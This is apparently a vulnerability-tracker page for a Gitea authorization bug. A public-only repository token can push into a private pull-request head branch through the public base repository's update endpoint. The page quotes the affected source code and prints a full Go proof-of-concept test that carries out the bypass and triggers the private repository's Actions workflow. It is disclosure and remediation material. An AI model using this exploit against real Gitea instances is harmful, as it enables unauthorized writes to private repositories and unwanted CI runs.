Gitea
CVE-2026-58443
CRITICAL
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
Token-authenticated so PR:L; network API with low complexity; scope change because the token's public-only authority is bypassed into a separate private repo; impact is integrity-only, so C:N and A:N (vendor's A:H is unsubstantiated).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Gitea allows a public-only,write:repository token to update a private pull request head branch through a public base repository route.
The vulnerable endpoint is:
POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/updateGitea checks the token's public-only restriction against the route repository, which is the public base repository. UpdatePullRequest() then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.
As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.
Details
The pull request API routes are attached under a repository route group. The public-only check applies to ctx.Repo.Repository, the route/base repository.
// routers/api/v1/api.go:1358-1394
m.Group("/pulls", func() {
m.Combo("").Get(repo.ListPullRequests).
Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
m.Get("/pinned", repo.ListPinnedPullRequests)
m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
m.Group("/{index}", func() {
m.Combo("").Get(repo.GetPullRequest).
Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
m.Post("/update", reqToken(), repo.UpdatePullRequest)
m.Get("/commits", repo.GetPullRequestCommits)
m.Get("/files", repo.GetPullRequestFiles)
m.Combo("/merge").Get(repo.IsPullRequestMerged).
Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
m.Group("/reviews", func() {
m.Combo("").
Get(repo.ListPullReviews).
Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
m.Group("/{id}", func() {
m.Combo("").
Get(repo.GetPullReview).
Delete(reqToken(), repo.DeletePullReview).
Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
m.Combo("/comments").
Get(repo.GetPullReviewComments)
m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
m.Post("/undismissals", repo.UnDismissPullReview)
})
})
m.Combo("/requested_reviewers", reqToken()).
Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
})
m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())// routers/api/v1/api.go:1465-1466
}, repoAssignment(), checkTokenPublicOnly())
}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))For POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update, the route repository can be public, so a public-only,write:repository token passes the route-level public-only check.
The update handler then checks whether the caller can update the PR head branch:
// routers/api/v1/repo/pull.go:1220-1270
pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
if err != nil {
if issues_model.IsErrPullRequestNotExist(err) {
ctx.APIErrorNotFound()
} else {
ctx.APIErrorInternal(err)
}
return
}
if pr.HasMerged {
ctx.APIError(http.StatusUnprocessableEntity, err)
return
}
if err = pr.LoadIssue(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
if pr.Issue.IsClosed {
ctx.APIError(http.StatusUnprocessableEntity, err)
return
}
if err = pr.LoadBaseRepo(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
if err = pr.LoadHeadRepo(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
rebase := ctx.FormString("style") == "rebase"
allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
if err != nil {
ctx.APIErrorInternal(err)
return
}
if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
ctx.Status(http.StatusForbidden)
return
}
// default merge commit message
message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)The service checks the head repository using the user's normal repository permission:
// services/pull/update.go:136-164
// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
// update PR means send new commits to PR head branch from base branch
func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
if user == nil {
return false, false, nil
}
if err := pull.LoadBaseRepo(ctx); err != nil {
return false, false, err
}
if err := pull.LoadHeadRepo(ctx); err != nil {
return false, false, err
}
// 1. check whether pull request enabled.
prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
if repo_model.IsErrUnitTypeNotExist(err) {
return false, false, nil // the PR unit is disabled in base repo means no update allowed
} else if err != nil {
return false, false, fmt.Errorf("get base repo unit: %v", err)
}
// 2. only support Github style pull request
if pull.Flow == issues_model.PullRequestFlowAGit {
return false, false, nil
}
// 3. check user push permission on head repository
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
if err != nil {
return false, false, err
}That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate pull.HeadRepo.
If allowed, the update service performs a merge/rebase update and pushes into the head repository:
// services/pull/update.go:89-100
reversePR := &issues_model.PullRequest{
BaseRepoID: pr.HeadRepoID,
BaseRepo: pr.HeadRepo,
BaseBranch: pr.HeadBranch,
HeadRepoID: pr.BaseRepoID,
HeadRepo: pr.BaseRepo,
HeadBranch: pr.BaseBranch,
}
_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
return errThe result is a server-side private repository write performed through a public route.
PoC
import (
"encoding/base64"
"fmt"
"net/http"
"net/url"
"testing"
"time"
actions_model "code.gitea.io/gitea/models/actions"
auth_model "code.gitea.io/gitea/models/auth"
repo_model "code.gitea.io/gitea/models/repo"
unit_model "code.gitea.io/gitea/models/unit"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
"code.gitea.io/gitea/modules/gitrepo"
api "code.gitea.io/gitea/modules/structs"
webhook_module "code.gitea.io/gitea/modules/webhook"
repo_service "code.gitea.io/gitea/services/repository"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
onGiteaRun(t, func(t *testing.T, _ *url.URL) {
doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})
baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
Name: "public-pr-update-base",
Description: "public base repository for public-only PR update PoC",
AutoInit: true,
Readme: "Default",
DefaultBranch: "main",
IsPrivate: false,
})
require.NoError(t, err)
headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
BaseRepo: baseRepo,
Name: "private-pr-update-head",
Description: "private head repository for public-only PR update PoC",
SingleBranch: baseRepo.DefaultBranch,
})
require.NoError(t, err)
require.NotNil(t, headRepo)
require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
RepoID: headRepo.ID,
Type: unit_model.TypeActions,
}}, nil))
headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
headBranch := "private-head-update"
testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
OldBranch: baseRepo.DefaultBranch,
NewBranch: headBranch,
}, map[string]string{
"private-head-marker.txt": "private head branch marker",
})
const workflowID = "private-push.yml"
const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
OldBranch: headBranch,
NewBranch: headBranch,
}, map[string]string{
".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
on:
push:
branches:
- %s
jobs:
private-head-job:
runs-on: ubuntu-latest
steps:
- run: echo %s
`, headBranch, workflowSentinel),
})
require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
ID: headRepo.ID,
IsPrivate: true,
}, "is_private"))
headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
require.True(t, headRepo.IsPrivate)
baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})
session := loginUser(t, doer.Name)
publicOnlyToken := getTokenForLoggedInUser(t, session,
auth_model.AccessTokenScopePublicOnly,
auth_model.AccessTokenScopeWriteRepository,
)
publicPath := "public-base-injected-into-private.txt"
publicMarker := "FAULT-GITEA-062 public base content reached private head"
createPublicBaseFile := api.CreateFileOptions{
FileOptions: api.FileOptions{
BranchName: baseRepo.DefaultBranch,
Message: "create public marker for private head update",
},
ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
}
req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusCreated)
privatePath := "direct-private-write-should-fail.txt"
directPrivateWrite := api.CreateFileOptions{
FileOptions: api.FileOptions{
BranchName: headBranch,
Message: "direct private write attempt",
},
ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
}
req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusNotFound)
prPayload := map[string]string{
"title": "faultline public-only private head update",
"base": baseRepo.DefaultBranch,
"head": fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
}
req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
AddTokenAuth(publicOnlyToken)
resp := MakeRequest(t, req, http.StatusCreated)
var pr api.PullRequest
DecodeJSON(t, resp, &pr)
require.Equal(t, prPayload["title"], pr.Title)
gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
require.NoError(t, err)
defer gitRepo.Close()
commit, err := gitRepo.GetBranchCommit(headBranch)
require.NoError(t, err)
_, err = commit.GetBlobByPath(publicPath)
require.Error(t, err)
req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusOK)
assert.Eventually(t, func() bool {
return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
}, 5*time.Second, 50*time.Millisecond)
actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
RepoID: headRepo.ID,
WorkflowID: workflowID,
}, unittest.OrderBy("id DESC"))
assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
assert.Equal(t, "push", actionRun.TriggerEvent)
assert.Equal(t, doer.ID, actionRun.TriggerUserID)
assert.NotEmpty(t, actionRun.CommitSHA)
job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)
commit, err = gitRepo.GetBranchCommit(headBranch)
require.NoError(t, err)
blob, err := commit.GetBlobByPath(publicPath)
require.NoError(t, err)
content, err := blob.GetBlobContent(1024)
require.NoError(t, err)
assert.Equal(t, publicMarker, content)
})
}Impact
The attacker needs a valid public-only,write:repository token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.
Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.
When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching push workflow. The PoC confirms an ActionRun and ActionRunJob are created for the private head repository with the attack-triggered push event.
AnalysisAI
Broken authorization in Gitea before 1.27.0 lets a token scoped as public-only,write:repository push commits into a PRIVATE repository via the PR head-branch update endpoint, defeating the public-only restriction the token was granted. An attacker holding such a token (for an account with normal write access to the private head branch) uses the public base repo's route POST /api/v1/repos/{owner}/{repo}/pulls/{index}/update to force public base commits into the private head branch - a write the same token is denied when attempted directly. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires a valid public-only,write:repository token whose underlying user account already has normal push/write permission on the PRIVATE pull-request head branch; the token itself cannot write to the private repo directly (direct content writes return 404). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Signals are mostly consistent toward a genuinely high-priority integrity issue but with meaningful preconditions. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker obtains a public-only,write:repository token belonging to a developer who has write access to a private head repository (e.g. a leaked CI token believed 'safe' because it is public-only). … |
| Remediation | Vendor-released patch: 1.27.0 - upgrade Gitea to 1.27.0 or later per the release at https://github.com/go-gitea/gitea/releases/tag/v1.27.0 and the advisory GHSA-xxjv-752h-3vp2. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, inventory all Gitea deployments and document current version numbers and deployed tokens, particularly any with public-read-only or limited scopes. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
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External POC / Exploit Code
Leaving vuln.today
GHSA-xxjv-752h-3vp2